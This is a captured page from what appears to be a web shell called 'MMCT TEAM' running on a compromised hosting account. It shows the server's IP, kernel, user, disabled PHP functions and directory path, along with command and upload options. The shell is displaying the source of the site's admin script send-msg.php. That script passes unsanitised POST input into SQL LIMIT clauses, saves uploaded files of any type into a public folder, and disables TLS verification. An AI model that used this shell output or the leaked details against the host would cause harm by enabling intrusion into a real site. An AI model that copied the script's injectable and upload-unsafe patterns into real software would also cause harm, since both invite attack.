MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.116.60.124
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/send-msg.php
<?php 
include 'lib/config.php';

if (isset($_POST['msg'])) {
	$type=$_POST['type'];
	$msg=$_POST['msg'];
	$limit=$_POST['limit'];
	$image=$_FILES['image']['name'];
	$path = 'upload/'.time().$image;
	move_uploaded_file($_FILES['image']['tmp_name'], $path);
	$img_path = 'https://cabz4you.com/admin/'.$path;

	if ($type=="Vendor") {
		$limit=$_POST['vendor_limit'];
		$sql=$conn->query("SELECT * FROM vendor_login LIMIT $limit");
		while($row=$sql->fetch_assoc()){
			$contact=$row['contact'];

			$url=$GLOBALS['whatsapp_url']."api/send?number=91".$contact."&type=media&message=".urlencode($msg)."&media_url=".$img_path."&filename=".$img_path."&instance_id=".$instance_id."&access_token=".$access_token."";
			$ch = curl_init();
			$timeout = 5;
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_HEADER, false);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
			$data = curl_exec($ch);
			curl_close($ch);
		}
		echo 1;
	}else{
		$sql=$conn->query("SELECT * FROM users LIMIT $limit");
		while($row=$sql->fetch_assoc()){
			$contact=$row['contact'];
			$url=$GLOBALS['whatsapp_url']."api/send?number=91".$contact."&type=media&message=".urlencode($msg)."&media_url=".$img_path."&filename=".$img_path."&instance_id=".$instance_id."&access_token=".$access_token."";
			$ch = curl_init();
			$timeout = 5;
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_HEADER, false);
			curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
			$data = curl_exec($ch);
			curl_close($ch);
		}
		echo 1;
	}
}

?>

MMCT - 2023